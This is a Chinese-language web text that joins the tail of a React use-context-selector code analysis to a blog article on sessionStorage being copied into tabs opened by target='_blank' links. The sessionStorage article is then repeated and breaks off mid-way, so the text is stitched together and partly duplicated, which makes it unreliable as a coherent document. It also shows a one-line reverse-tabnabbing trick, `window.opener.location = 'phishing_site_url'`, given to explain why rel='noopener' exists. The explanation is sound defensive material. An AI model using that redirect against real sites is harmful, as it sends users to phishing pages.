<Counter />
<Counter />
</Provider>
</StrictMode>
);
將 useReducer
回傳的 state
與 dispatch
當作 Context Value 傳入 Provider,當 Counter
裡面透過 dispatch
去更新 Context 內的 state
時,由於此時的 Provider 是客製化後的 Provider,他會進行 render,並在 render 的過程中,呼叫所有與他直接 subscribe 的 listener,由 listener 來判斷與執行 component 的 re-render 與否。
這層客製化的 Provider 也就是我們先前在 flamegraph 中看到多出來的一層 Anonymous (memo) component,也解釋了為什麼 commits 數量會多了一倍,就是因為這個 Anonymous component 所進行的 render。
最後我們來看看 listener 是怎麼產生與運作的,我們拆三個部分來說明:
export const useContextSelector = (context, selector) => {
const listeners = context[CONTEXT_LISTENERS];
if (process.env.NODE_ENV !== 'production') {
if (!listeners) {
throw new Error('useContextSelector requires special context');
}
}
// ...
};
在一開始 createContext
時,其實有在 context 中塞一個 Set()
:
context[CONTEXT_LISTENERS] = new Set();
而在 useContextSelector
中的一開始,我們就會取出這個 set,目的在於要放入呼叫 useContextSelector
的 component 的 listener。
// ...
const [, forceUpdate] = React.useReducer((c) => c + 1, 0);
const value = React.useContext(context);
const selected = selector(value);
const ref = React.useRef(null);
React.useLayoutEffect(() => {
ref.current = {
f: selector, // last selector "f"unction
v: value, // last "v"alue
s: selected, // last "s"elected value
};
});
// ...
接著準備一些 listener 需要的東西:
forceUpdate
函式來觸發 render,這邊的實作方式是額外使用 React.useReducer
產生一個不斷 +1 的 reducer,來達到效果。React.context
來紀錄 Globle state。React.useRef
紀錄當下的 selector function、context value 與 selector 選出的值。// ...
React.useLayoutEffect(() => {
const callback = (nextValue) => {
try {
if (ref.current.v === nextValue
|| Object.is(ref.current.s, ref.current.f(nextValue))) {
return;
}
} catch (e) {
// ignored (stale props or some other reason)
}
forceUpdate();
};
listeners.add(callback);
return () => {
listeners.delete(callback);
};
}, [listeners]);
return selected;
再來實作 listener,listener function 接受的 nextValue
就是 Custom Provider 取得的最新的 Context value,listener function 就能夠利用這個 nextValue
與我們先前存放在 ref
中的值做比較,若是 Context Value 完全相等,或是 Selected 的值也沒有變動(用 ref
中存好的 selector function 對 nextValue
做選取),那就不用 render。
反之,若發現值不同,需要更新,就會呼叫 forceUpdate()
強制讓這個 useContextSelector
進行 render,也就會跟著觸發使用 useContextSelector
的 Component 進行 render,更新 ref
內的值,並回傳最新的 selected value
。
而這邊建立的 listener 會放入一開始從 Context 取出的 Set()
中,Custom Provider 在 render 時,就能取出運行。
use-context-selector
替 Context API 的效能問題所找到的 escape hatch 流程如下:
useContextSelector
的 components 會建立 listener,放入 Context Set 中進行 subscribe。這就是 use-context-selector
所找到的出路,讓你在 global context update 時,bail out of rendering
。
use-context-selector
的作者自己也說了這個套件有很多限制與不足
即便他有 v2 版本的實作,是建立在比較有機會實作的 RFC 上,但整體來說還是不能算一個穩定的解決方案。
但是作為使用在內部或是個人專案上來說,是個還不錯的選擇。尤其是簡單易懂的實作,就算是出了什麼問題,只要理解他的原理,也是能找得出問題所在。
這次也是透過閱讀其程式碼,才對 Context API 有更多了解,從中延伸閱讀了很多包含 react-redux v6 當初的效能 issue、RFCs 上的討論、關於 calculateChangedBits
的知識,或甚至是 react scheduling 的一些內部實作。
這也回應到我最開始所說的,有時候太過於遵循 best practice,會讓你失去研究一些有趣問題或是學習的機會,甚至透過走這些旁門走道,會讓你對於 best practice 之所以為 best practice 的原因更加深刻。
分析程式碼的文章有點冗長鬆散,如果你有看到這邊,感謝你的閱讀,若有任何問題也歡迎指教討論!
如果你想把東西存在網頁前端,也就是存在瀏覽器裡面,基本上就是以下這幾個選項:
後兩者應該滿少用到的,而最後一個 Web SQL 也早在幾年前就被宣告已經不再維護了。因此在談到儲存資料的時候,大部分的人提的還是前三種,其中又以前兩種最多人使用。
畢竟在前端儲存資料時,大部分資料都希望能儲存一段時間,而 cookie 跟 localStorage 就是被設計在這種情形下用的,可是 sessionStorage 不是,它只適合儲存非常短期的資料。
不知道大家對 sessionStorage 的理解是不是跟我一樣,先說說我的理解好了:
sessionStorage 跟 localStorage 最大的差別在於前者只會存在於一個分頁當中,你分頁關掉之後資料就清除了,所以新開分頁,就會有新的 sessionStorage,在不同分頁不會共用。但後者如果是相同的網站,可以共用同一個 localStorage
但我想問大家的是:有沒有可能有一種情況,我在分頁 A 的 sessionStorage 存了一些東西,然後有一個新的分頁 B,也可以讀到分頁 A 的 sessionStorage?
你可能以為沒有,我以前也以為沒有,我同事也這樣認為。
但偏偏就是有。
如同前言所說的,我對 sessionStorage 的理解就是它只會存在於一個 tab 當中,tab 關掉就沒了,然後開新 tab 也不會共享到原本的資料,所以可以很安心地假設 tab 裡的 sessionStorage 只有他自己讀得到。
但之前在公司內部的技術分享上,我主管 howard 分享了一個案例:
假設有一個頁面 A,用了 sessionStorage 儲存了一些資料,然後網站裡有個 a 的超連結,點了連到同個 origin 下的頁面 B,應該很多人會預期頁面 B 的 sessionStorage 是空的。但沒有,它會沿用頁面 A 的。
沒錯,就是這個案例打破了我對 sessionStorage 的天真幻想,原來兩個不同的分頁是有可能共用同一份 sessionStorage 的。
或是嚴格來講,其實不是共用,而是原本的 sessionStorage 會「複製」一份到新開的 tab 去,如果在頁面 A 改變了值,頁面 B 拿不到更新後的值。頁面 B 只是把「點開連結那一刻的 sessionStorage」複製過去而已。
我準備了一個 demo 讓大家玩,就是兩個簡單的頁面而已,先附上網址:sessionStorage demo。
頁面長這個樣子:
這頁面的程式碼很簡單,基本上就是設置一個 name=guest
的 sessionStorage,然後把它顯示在螢幕上。然後有一個 a 可以連到新的 tab,另一個按鈕隨機更新 sessionStorage 裡的值:
<!DOCTYPE html>
<html>
<head>
<title>SessionStorage 範例</title>
<meta charset="utf-8">
<script>
sessionStorage.setItem('name', 'guest')
</script>
</head>
<body>
<div>
進來這網站之後,會自動幫你設置一個 sessionStorage,name="guest" <br>
你可以打開 devtool -> applications 或是打開 console,或檢查下面內容確認
</div>
<div>
sessionStorage 內容:<b></b>
</div>
<button id="btn">改變 sessionStorage 內容</button><br>
<a href="new_tab.html" target="_blank">Click me to see magic(?)</a>
<script>
document.querySelector('b').innerText = sessionStorage.getItem('name')
console.log('sessionStorage', sessionStorage)
console.log('sessionStorage.name', sessionStorage.name)
btn.addEventListener('click',() => {
sessionStorage.setItem('name', (Math.random()).toString(16))
document.querySelector('b').innerText = sessionStorage.getItem('name')
console.log('updated sessionStorage', sessionStorage)
console.log('updated sessionStorage.name', sessionStorage.name)
})
</script>
</body>
</html>
如果你點了那個 a 到了新的頁面以後,就會看到 sessionStorage 被複製過來了:
這個新頁面的程式碼如下,裡面沒有一行是在設置 sessionStorage:
<!DOCTYPE html>
<html>
<head>
<title>SessionStorage 範例</title>
<meta charset="utf-8">
</head>
<body>
<div>
這網站沒有任何設置 sessionStorage 的程式碼<br>
但如果你是從 index.html 的 a 連結點來的,你可以存取得到
</div>
<div>
sessionStorage 內容:<b></b>
</div>
<button id='btn'>重新抓取</button><br>
<a href="index.html">Back to index.html</a>
<script>
document.querySelector('b').innerText = sessionStorage.getItem('name')
console.log('sessionStorage', sessionStorage)
console.log('sessionStorage.name', sessionStorage.name)
btn.addEventListener('click', () => {
document.querySelector('b').innerText = sessionStorage.getItem('name')
console.log('latest sessionStorage', sessionStorage)
console.log('latest sessionStorage.name', sessionStorage.name)
})
</script>
</body>
</html>
因為是新開分頁的關係,所以現在你有兩個分頁,一個是原本的 index.html,另一個是這個新開的 new_tab.html,你可以在 index.html 按下「改變 sessionStorage 內容」,就會看到畫面更新,接著再去 new_tab.html,按下重新抓取,會發現值並沒有改變。
這就是我前面所說的,其實是「複製」,並不是「共用」。因為共用的話一個地方變了,另一個地方會跟著變,但複製的話原本的內容跟複製後的內容,是不會互相干擾的。
當初聽到這個行為之後嚇了一跳,畢竟跟自己認知的不一樣。震驚完之後第一件想到的事情是:「那有辦法可以不要這樣嗎?」,同事有試過幾個方法但是都不行,而我腦中瞬間就聯想到會不會 a 上面有一些屬性可以調整,例如說 noopener, noreferrer 或是 nofollow 之類的,但實際去試以後都沒有效。
後來找了一下資料,終於發現了一個正解,也因為想把相關知識補足,來去看了 sessionStorage 的 spec,發現寫得其實滿不錯的,就想跟大家分享一下。所以呢,接著我們會一起簡單看過 Web storage 的 spec,如果你只是想知道問題的解答,可以直接跳到最後一段。
LocalStorage 跟 sessionStorage 都屬於 Web Storage 的一種,Web Storage 的 spec 在這裡:https://html.spec.whatwg.org/multipage/webstorage.html#introduction-16
我覺得最前面 introduction 那個段落寫得簡單明瞭:
This specification introduces two related mechanisms, similar to HTTP session cookies, for storing name-value pairs on the client side
開門見山就跟你說了這兩個東西是在幹嘛,是跟 cookie 類似的兩個機制,拿來在 client side 儲存 name-value pairs 用的。
The first is designed for scenarios where the user is carrying out a single transaction, but could be carrying out multiple transactions in different windows at the same time.
接著則是先講會需要用到 sessionStorage 的情境,這一段要接下面的範例才比較清楚:
Cookies don't really handle this case well. For example, a user could be buying plane tickets in two different windows, using the same site. If the site used cookies to keep track of which ticket the user was buying, then as the user clicked from page to page in both windows, the ticket currently being purchased would "leak" from one window to the other, potentially causing the user to buy two tickets for the same flight without really noticing.
這個例子大概是這樣的,假設現在我們只有 cookie 可以用,然後小明在買機票,因為他想買兩張「不同」的機票,所以他開了兩個分頁。但如果網站沒寫好,是用 cookie 來記錄他要買哪張機票,就有可能發生以下情形:
這就是把資訊存在 cookie 有可能發生的潛在問題。因此 sessionStorage 就是為了解決這個問題而生,可以把資訊侷限在「一個 session」,以瀏覽器的角度來說基本上就是一個分頁,不會干擾到其他分頁。
再往下看,會講到 localStorage 的使用情境:
The second storage mechanism is designed for storage that spans multiple windows, and lasts beyond the current session. In particular, web applications might wish to store megabytes of user data, such as entire user-authored documents or a user's mailbox, on the client side for performance reasons.
Again, cookies do not handle this case well, because they are transmitted with every request.
有些網站可能會因為效能相關的原因,想要在瀏覽器存大量的資料,例如說把使用者的信件都存進去之類的,其實就有點像是自己做 cache,把這些東西存起來,就可以優先從快取去拿,加快載入速度。
但 cookie 不適合這種情境,因為 cookie 會隨著 request 發出去。你想想看,如果你在 cookie 存了 1MB 的資料,這網站底下每個 request 就至少都是 1MB 的大小了,而且那些又是 server 用不到的資料,會造成很多不必要的流量。
因此,localStorage 就這樣誕生了,可以讓你存大量的資料,而且不會被帶去 server。
接著下面還有一段紅字的警告:
The localStorage getter provides access to shared state. This specification does not define the interaction with other browsing contexts in a multiprocess user agent, and authors are encouraged to assume that there is no locking mechanism. A site could, for instance, try to read the value of a key, increment its value, then write it back out, using the new value as a unique identifier for the session; if the site does this twice in two different browser windows at the same time, it might end up using the same "unique" identifier for both sessions, with potentially disastrous effects.
大意就是說因為 localStorage 是可以跨頁面被分享的,所以就跟其他那種被共享的資源一樣,要注意 race condition,舉例來說如果有個網站會去 localStorage 讀一個叫做 id 的 key,取出來之後 +1 放回去,把 id 當作頁面的唯一 id,若是兩個頁面同時做這件事,有可能會得到同樣的 id,例如說:
連續的動作不保證不被其他的 process 給中斷,所以才會寫說:「authors are encouraged to assume that there is no locking mechanism」,要小心這種狀況出現。
再來可以看到 Web Stroage 的 interface:
這邊值得注意的是雖然常見用法是 storage.setItem
或是 storage.getItem
,但其實直接 storage[key] = value
以及 storage[key]
也都行得通,刪除的話直接 delete storage[key]
也可以。
然後如果寫不進去的話,會丟一個 QuotaExceededError
出來,Chrome 的這份文件:chrome.storage 有提到相關的一些數字。
再來還有一段很常出現:
Dispatches a storage event on Window objects holding an equivalent Storage object.
這是因為在 storage 裡的內容有變動時,其實都會發出一個事件,而你可以去監聽這個事件做出反應。舉例來說,你可以用這招在不同分頁去偵測 localStorage 的變化並且即時反應,相關說明請看:Window: storage event。
順帶一提,storage 的 key 可以是 emoji,所以打開這個網頁之後,可以看到:
再來底下的 spec 都是在描述各個方法的細節,我這邊就不再重複了。接著一直往下看到 sessionStorage 的部分,會看到這一段:
有看到重點了嗎?
While creating a new auxiliary browsing context, the session storage is copied over.
當建立一個 auxiliary browsing context
的時候,sessionStorage 就會被複製過去。從文章開頭給的那個範例看來,我們可以猜測我們點了 a 標籤新開一個分頁的行為,可能就是「creating a auxiliary browsing context」。
接著我們點進去,看看 creating a auxiliary browsing context 的流程是什麼:
重點是第六步,有提到了會把 sessionStorage 複製過去。
所以呢,現在問題就被重新定義了。
原本我們好奇的是「sessionStorage 什麼時候會被複製」,得到的答案是:「建立 auxiliary browsing context 的時候」,因此現在好奇的問題轉成:「什麼時候會建立 auxiliary browsing context?」
再者,從結果看來,開頭的範例中是透過 a link 外連一個網站達成的,因此可以猜測答案可能就在 link 的 spec 當中。
Links 相關的 spec 在這裡:https://html.spec.whatwg.org/multipage/links.html
先來看一下 link 的定義:
Links are a conceptual construct, created by a, area, form, and link elements, that represent a connection between two resources, one of which is the current Document. There are two kinds of links in HTML:
有四種 elements 可以 create link:<a>
、<area>
、<form>
還有<link>
,其中<area>
這個我還是第一次聽到。
接著文件中定義了連結有兩種,第一種是:Links to external resources
These are links to resources that are to be used to augment the current document, generally automatically processed by the user agent. All external resource links have a fetch and process the linked resource algorithm which describes how the resource is obtained.
可以先簡單想成就是你用 <link>
這個 element 時會用的東西,例如說 CSS 就是一種 external resources,再來第二種是 Hyperlinks:
These are links to other resources that are generally exposed to the user by the user agent so that the user can cause the user agent to navigate to those resources, e.g. to visit them in a browser or download them.
就是我們所熟知的超連結,指引瀏覽器(user agent)前往其他資源。
再來我們持續往下看,可以看到 4.6.4 Following hyperlinks 有提到說當使用者按下超連結以後,瀏覽器應該要做什麼:
重點是第六步跟第七步:
6.Let noopener be the result of getting an element's noopener with subject and targetAttributeValue.
7.Let target and windowType be the result of applying the rules for choosing a browsing context given targetAttributeValue, source, and noopener.
這邊會透過在 spec 上面的流程決定 noopener
的值:
我們一開始的範例符合第二種情況,沒有 opener 屬性,而且 target 是 _blank
,所以 noopener 會是 true。
再來我們看第七步,他有一個 the rules for choosing a browsing context 可以點,點下去之後就又回到了 browsing context 的 spec。
在選擇 browsering context 的時候會有一些流程,去判斷應該要選擇哪一個。我們想要找的情況(name 是 _blank
)都不符合前面的狀況,所以會直接到第八步:
Otherwise, a new browsing context is being requested, and what happens depends on the user agent's configuration and abilities — it is determined by the rules given for the first applicable option from the following list:
接著下面又有幾條規則,來決定最後應該要做出怎樣的行為,而我們的範例會是這一條規則:
從流程中可以看出來,在第三個步驟中判斷 noopener 是不是 true,是的話就建立一個新的 top-level browsing context,不是的話就建一個 auxiliary browsing context。
這樣看下來,整個流程都清楚了,只要我們進到這邊而且 noopener 是 false,就會建立一個 auxiliary browsing context,進而把 sessionStorage 複製過去。
等等...可是我們的 noopener 不是 true 嗎?在上面決定 noopener 的值的時候,根據我們的狀況,spec 很明顯是 true,那就應該會建立一個新的 top-level browsing context,sessionStorage 也不會被複製過去。
難道我看漏了什麼?
原本自信滿滿想寫這篇文章,結果寫一寫的時候就發現到上面的狀況:「咦,怎麼實際的行為跟 spec 對不起來?」,一直覺得自己看漏了什麼,就又再檢查了幾遍,發現沒錯啊,noopener 的確是 true 才對,那應該就不會建立 auxiliary browsing context 了,sessionStorage 也不應該被複製。
可是在 Chrome 上觀察到的就不是這樣,於是我突然想到了一個可能性,那就是 Chrome 沒有照著 spec 做。這邊要特別留意一件事,那就是我們看的 spec 是最新的 spec,但通常瀏覽器都不會跟到這麼新,再加上有些東西可能是 breaking changes,就會更緩慢一點。
因此我猜測是 spec 有改過,Chrome 所遵照的是以前的行為。有了這個猜測之後,就去搜相關的字眼,真的讓我找到了一個 commit:Make target=_blank imply noopener; support opener。
這是 2019 年 2 月 7 號的一個 commit,在 diff 中可以看到這段改動:
在舊的 spec 中,如果 noopener 或是 noreferrer 屬性是 true 才會讓 noopener 是 true,否則就都是 false。
所以我們開頭觀測到的行為是符合舊的 spec 的,我們用 a 連結新開了一個分頁,沒有設置 noopener 跟 noreferrer,所以新開的分頁建立了一個 auxiliary browsing context,sessionStorage 就跟著被複製過去了。
寫到這邊,我們終於得到了一個合理而且權威的解釋,再來只剩下最後幾個問題要處理了:
noopener 跟 noreferrer 是什麼?為什麼 spec 要做這個改動?
我最早看到這兩個屬性是在 2016 年 5 月,沒記錯的話應該是從這篇臉書貼文中看到的,那時候我好像還有跟同事分享這個東西,因為覺得這招滿帥的。
想知道問題是什麼,可以直接看這篇文章:About rel=noopener, what problems does it solve?。
簡單來說呢,當你從網站 A 使用 <a target="_blank">
連結到網站 B 的時候,網站 B 可以拿到 window.opener
,這就等於是網站 A 的 window
,因此我只要在網站 B 執行 window.opener.location = 'phishing_site_url'
,就可以把網站 A 導到其他地方,如果導去的地方是刻意設置的釣魚網站,那使用者就很有可能中招,因為他根本沒有預期到點了連結之後,網站 A 會跳去其他地方。
而解法呢,就是加上 rel="noopener"
這個屬性。
另外一個屬性 noreferrer 則是跟 Referer 這個 HTTP request header 有關,例如說我從網站 A 連到網站 B,網站 B 的 Referer
就會是網站的 A 的 URL,所以它會知道你從哪邊來的。
而帶上了這個屬性就是告訴瀏覽器說:「不要幫我帶 Referer 這個 header」。
接著我們回到 spec,看一下 spec 怎麼說。
4.6.6.13 Link type "noopener":
The keyword indicates that any newly created top-level browsing context which results from following the hyperlink will not be an auxiliary browsing context. E.g., its window.opener attribute will be null.
4.6.6.14 Link type "noreferrer":
It indicates that no referrer information is to be leaked when following the link and also implies the noopener keyword behavior under the same conditions.
這邊的定義是「no referrer information is to be leaked」,而這個 referrer information 除了我上面講的 Referer header 之外,其實也包含了其他相關的資訊,不過實際上到底還有什麼,就要去看其他 spec 或是瀏覽器的相關實作了。
然後還有一點要注意的是:「also implies the noopener keyword」,所以用了 noreferrer 之後就蘊含著 noopener 的效果了。
有在寫 React 並且使用 eslint 的朋友們應該都看過一條規則,那就是在用 a link 而且 target 是 _blank
的時候,必須要搭配使用 rel="noreferrer noopener"
,這個規則其實已經被改掉了,現在只要求放上 noreferrer
就好,原因就是我上面講的。
想看更多細節可以看這個 issue:target=_blank rel=noreferrer implies noopener,原本怕一些舊的 browser 會出問題所以沒有要改,後來是有人提供了一堆瀏覽器的測試資料,確認沒問題之後才改的。
讓我們把主題再拉回 opener 這個問題,當初這個問題被揭露之後我記得受到滿大的關注,在 spec 的 repo 上也可以找到一大堆相關的討論,其實很多人都滿驚訝原來預設的行為是這樣。
相關的討論可以看這一串:Windows opened via a target=_blank should not have an opener by default 還有這個 PR:Make target=_blank imply noopener; support opener。
總之呢,後來 Safari 跟 Firefox 都針對這點做出改動,使用 target=_blank
,預設的 opener 就會是 noopener。
那 Chrome 呢?抱歉,還沒。可以參考:Issue 898942: Anchor target=_blank should imply rel=noopener。
繞了一大圈,看了一大堆 spec 跟 bug tracker 之後,最後我們回到一開始的主題:sessionStorage。
在 spec 裡面說了,如果建立的是 auxiliary browsing context 就會把 sessionSotrage 複製過去。而如果我們加上了 rel="noopener"
,就不會有這個行為。
所以這就是開頭問題的正解:「加上 rel="noopener"
」。
可是我開頭已經講過了,我試過這些都沒有用,這是為什麼呢?這是因為 Chrome 還沒支援這個行為:Issue 771959: Do not copy sessionStorage when a window is created with noopener,而 Safari 雖然說 target=_blank
會蘊含 rel="noopener"
,但是也沒有支援 noopener
不會複製 sessionStorage。
唯一符合最新標準的是 Firefox,你加上 rel="noopener"
,就真的不會把 sessionStorage 一起帶過去了。
由於這些都是瀏覽器還沒修正的行為,所以我們在開發的時候也無能為力。就現階段來說,在 Chrome 跟 Safari 上面,用 <a target="_blank">
開啟同個 origin 下的新分頁,就是會把 sessionStorage 複製一份過去。
再提醒最後一個小細節,「點擊連結」跟「右鍵 -> 開新分頁」的行為是不同的。前者會把 sessionStorage 複製過去,但後者不會。因為瀏覽器(至少是 Chrome 跟 Safari)認為「右鍵 -> 開新分頁」就像是你新開一個 tab,然後把網址複製貼上,而不是直接從現有的分頁連過去,所以不會幫你複製 sessionStorage。
再次附上開頭的 demo,你自己試試看就知道了:https://aszx87410.github.io/demo/session_storage/index.html
相關討論可以看:Issue 165452: sessionStorage variables not being copied to new tab。
以 sessionStorage 為起點向外延伸,我們探索到了很多新的東西,而且連結到了我幾年前看到的 noopener 安全性的文章,也連結到了之前寫 code 時碰到的 eslint warning,如果還想再繼續連結,甚至也可以連到 Chrome 最近對 Referer 做出的改動。所以儘管只是一個看起來很小的知識點,背後都蘊含著一整張超大的知識圖譜。
在發現 spec 跟實作不一樣的時候,我瞬間體會到了「盡信書不如無書」的感覺,我原本一直都以為 spec 就是唯一的權威,卻忽略了 spec 會不斷變動、更新,但實作不一定會跟上的這個事實。還有一點,那就是瀏覽器的實作有時候會因為一些考量,不會完全跟著 spec 走,這一點也是往後需要特別注意的。
經歷過這麼一段旅程之後,對 sessionStorage 的理解又更深入了一些。以後有機會的話把 HTML 的 spec 都翻一翻好了,應該能看到更多有趣的東西。
感謝 @bcjohnblue 留言提醒,Chrome 在 88 版加入了 target="_blank"
蘊含 rel="noopener"
的行為,在 89 版修正了 noopener 應該另外開一個 sessionStorage 的 bug,詳情可以參考底下連結:
參考資料:
如果你想把東西存在網頁前端,也就是存在瀏覽器裡面,基本上就是以下這幾個選項:
後兩者應該滿少用到的,而最後一個 Web SQL 也早在幾年前就被宣告已經不再維護了。因此在談到儲存資料的時候,大部分的人提的還是前三種,其中又以前兩種最多人使用。
畢竟在前端儲存資料時,大部分資料都希望能儲存一段時間,而 cookie 跟 localStorage 就是被設計在這種情形下用的,可是 sessionStorage 不是,它只適合儲存非常短期的資料。
不知道大家對 sessionStorage 的理解是不是跟我一樣,先說說我的理解好了:
sessionStorage 跟 localStorage 最大的差別在於前者只會存在於一個分頁當中,你分頁關掉之後資料就清除了,所以新開分頁,就會有新的 sessionStorage,在不同分頁不會共用。但後者如果是相同的網站,可以共用同一個 localStorage
但我想問大家的是:有沒有可能有一種情況,我在分頁 A 的 sessionStorage 存了一些東西,然後有一個新的分頁 B,也可以讀到分頁 A 的 sessionStorage?
你可能以為沒有,我以前也以為沒有,我同事也這樣認為。
但偏偏就是有。
如同前言所說的,我對 sessionStorage 的理解就是它只會存在於一個 tab 當中,tab 關掉就沒了,然後開新 tab 也不會共享到原本的資料,所以可以很安心地假設 tab 裡的 sessionStorage 只有他自己讀得到。
但之前在公司內部的技術分享上,我主管 howard 分享了一個案例:
假設有一個頁面 A,用了 sessionStorage 儲存了一些資料,然後網站裡有個 a 的超連結,點了連到同個 origin 下的頁面 B,應該很多人會預期頁面 B 的 sessionStorage 是空的。但沒有,它會沿用頁面 A 的。
沒錯,就是這個案例打破了我對 sessionStorage 的天真幻想,原來兩個不同的分頁是有可能共用同一份 sessionStorage 的。
或是嚴格來講,其實不是共用,而是原本的 sessionStorage 會「複製」一份到新開的 tab 去,如果在頁面 A 改變了值,頁面 B 拿不到更新後的值。頁面 B 只是把「點開連結那一刻的 sessionStorage」複製過去而已。
我準備了一個 demo 讓大家玩,就是兩個簡單的頁面而已,先附上網址:sessionStorage demo。
頁面長這個樣子:
這頁面的程式碼很簡單,基本上就是設置一個 name=guest
的 sessionStorage,然後把它顯示在螢幕上。然後有一個 a 可以連到新的 tab,另一個按鈕隨機更新 sessionStorage 裡的值:
<!DOCTYPE html>
<html>
<head>
<title>SessionStorage 範例</title>
<meta charset="utf-8">
<script>
sessionStorage.setItem('name', 'guest')
</script>
</head>
<body>
<div>
進來這網站之後,會自動幫你設置一個 sessionStorage,name="guest" <br>
你可以打開 devtool -> applications 或是打開 console,或檢查下面內容確認
</div>
<div>
sessionStorage 內容:<b></b>
</div>
<button id="btn">改變 sessionStorage 內容</button><br>
<a href="new_tab.html" target="_blank">Click me to see magic(?)</a>
<script>
document.querySelector('b').innerText = sessionStorage.getItem('name')
console.log('sessionStorage', sessionStorage)
console.log('sessionStorage.name', sessionStorage.name)
btn.addEventListener('click',() => {
sessionStorage.setItem('name', (Math.random()).toString(16))
document.querySelector('b').innerText = sessionStorage.getItem('name')
console.log('updated sessionStorage', sessionStorage)
console.log('updated sessionStorage.name', sessionStorage.name)
})
</script>
</body>
</html>
如果你點了那個 a 到了新的頁面以後,就會看到 sessionStorage 被複製過來了:
這個新頁面的程式碼如下,裡面沒有一行是在設置 sessionStorage:
<!DOCTYPE html>
<html>
<head>
<title>SessionStorage 範例</title>
<meta charset="utf-8">
</head>
<body>
<div>
這網站沒有任何設置 sessionStorage 的程式碼<br>
但如果你是從 index.html 的 a 連結點來的,你可以存取得到
</div>
<div>
sessionStorage 內容:<b></b>
</div>
<button id='btn'>重新抓取</button><br>
<a href="index.html">Back to index.html</a>
<script>
document.querySelector('b').innerText = sessionStorage.getItem('name')
console.log('sessionStorage', sessionStorage)
console.log('sessionStorage.name', sessionStorage.name)
btn.addEventListener('click', () => {
document.querySelector('b').innerText = sessionStorage.getItem('name')
console.log('latest sessionStorage', sessionStorage)
console.log('latest sessionStorage.name', sessionStorage.name)
})
</script>
</body>
</html>
因為是新開分頁的關係,所以現在你有兩個分頁,一個是原本的 index.html,另一個是這個新開的 new_tab.html,你可以在 index.html 按下「改變 sessionStorage 內容」,就會看到畫面更新,接著再去 new_tab.html,按下重新抓取,會發現值並沒有改變。
這就是我前面所說的,其實是「複製」,並不是「共用」。因為共用的話一個地方變了,另一個地方會跟著變,但複製的話原本的內容跟複製後的內容,是不會互相干擾的。
當初聽到這個行為之後嚇了一跳,畢竟跟自己認知的不一樣。震驚完之後第一件想到的事情是:「那有辦法可以不要這樣嗎?」,同事有試過幾個方法但是都不行,而我腦中瞬間就聯想到會不會 a 上面有一些屬性可以調整,例如說 noopener, noreferrer 或是 nofollow 之類的,但實際去試以後都沒有效。
後來找了一下資料,終於發現了一個正解,也因為想把相關知識補足,來去看了 sessionStorage 的 spec,發現寫得其實滿不錯的,就想跟大家分享一下。所以呢,接著我們會一起簡單看過 Web storage 的 spec,如果你只是想知道問題的解答,可以直接跳到最後一段。
LocalStorage 跟 sessionStorage 都屬於 Web Storage 的一種,Web Storage 的 spec 在這裡:https://html.spec.whatwg.org/multipage/webstorage.html#introduction-16
我覺得最前面 introduction 那個段落寫得簡單明瞭:
This specification introduces two related mechanisms, similar to HTTP session cookies, for storing name-value pairs on the client side
開門見山就跟你說了這兩個東西是在幹嘛,是跟 cookie 類似的兩個機制,拿來在 client side 儲存 name-value pairs 用的。
The first is designed for scenarios where the user is carrying out a single transaction, but could be carrying out multiple transactions in different windows at the same time.
接著則是先講會需要用到 sessionStorage 的情境,這一段要接下面的範例才比較清楚:
Cookies don't really handle this case well. For example, a user could be buying plane tickets in two different windows, using the same site. If the site used cookies to keep track of which ticket the user was buying, then as the user clicked from page to page in both windows, the ticket currently being purchased would "leak" from one window to the other, potentially causing the user to buy two tickets for the same flight without really noticing.
這個例子大概是這樣的,假設現在我們只有 cookie 可以用,然後小明在買機票,因為他想買兩張「不同」的機票,所以他開了兩個分頁。但如果網站沒寫好,是用 cookie 來記錄他要買哪張機票,就有可能發生以下情形:
這就是把資訊存在 cookie 有可能發生的潛在問題。因此 sessionStorage 就是為了解決這個問題而生,可以把資訊侷限在「一個 session」,以瀏覽器的角度來說基本上就是一個分頁,不會干擾到其他分頁。
再往下看,會講到 localStorage 的使用情境:
The second storage mechanism is designed for storage that spans multiple windows, and lasts beyond the current session. In particular, web applications might wish to store megabytes of user data, such as entire user-authored documents or a user's mailbox, on the client side for performance reasons.
Again, cookies do not handle this case well, because they are transmitted with every request.
有些網站可能會因為效能相關的原因,想要在瀏覽器存大量的資料,例如說把使用者的信件都存進去之類的,其實就有點像是自己做 cache,把這些東西存起來,就可以優先從快取去拿,加快載入速度。
但 cookie 不適合這種情境,因為 cookie 會隨著 request 發出去。你想想看,如果你在 cookie 存了 1MB 的資料,這網站底下每個 request 就至少都是 1MB 的大小了,而且那些又是 server 用不到的資料,會造成很多不必要的流量。
因此,localStorage 就這樣誕生了,可以讓你存大量的資料,而且不會被帶去 server。
接著下面還有一段紅字的警告:
The localStorage getter provides access to shared state. This specification does not define the interaction with other browsing contexts in a multiprocess user agent, and authors are encouraged to assume that there is no locking mechanism. A site could, for instance, try to read the value of a key, increment its value, then write it back out, using the new value as a unique identifier for the session; if the site does this twice in two different browser windows at the same time, it might end up using the same "unique" identifier for both sessions, with potentially disastrous effects.
大意就是說因為 localStorage 是可以跨頁面被分享的,所以就跟其他那種被共享的資源一樣,要注意 race condition,舉例來說如果有個網站會去 localStorage 讀一個叫做 id 的 key,取出來之後 +1 放回去,把 id 當作頁面的唯一 id,若是兩個頁面同時做這件事,有可能會得到同樣的 id,例如說:
連續的動作不保證不被其他的 process 給中斷,所以才會寫說:「authors are encouraged to assume that there is no locking mechanism」,要小心這種狀況出現。
再來可以看到 Web Stroage 的 interface:
這邊值得注意的是雖然常見用法是 storage.setItem
或是 storage.getItem
,但其實直接 storage[key] = value
以及 storage[key]
也都行得通,刪除的話直接 delete storage[key]
也可以。
然後如果寫不進去的話,會丟一個 QuotaExceededError
出來,Chrome 的這份文件:chrome.storage 有提到相關的一些數字。
再來還有一段很常出現:
Dispatches a storage event on Window objects holding an equivalent Storage object.
這是因為在 storage 裡的內容有變動時,其實都會發出一個事件,而你可以去監聽這個事件做出反應。舉例來說,你可以用這招在不同分頁去偵測 localStorage 的變化並且即時反應,相關說明請看:Window: storage event。
順帶一提,storage 的 key 可以是 emoji,所以打開這個網頁之後,可以看到:
再來底下的 spec 都是在描述各個方法的細節,我這邊就不再重複了。接著一直往下看到 sessionStorage 的部分,會看到這一段:
有看到重點了嗎?
While creating a new auxiliary browsing context, the session storage is copied over.
當建立一個 auxiliary browsing context
的時候,sessionStorage 就會被複製過去。從文章開頭給的那個範例看來,我們可以猜測我們點了 a 標籤新開一個分頁的行為,可能就是「creating a auxiliary browsing context」。
接著我們點進去,看看 creating a auxiliary browsing context 的流程是什麼:
重點是第六步,有提到了會把 sessionStorage 複製過去。
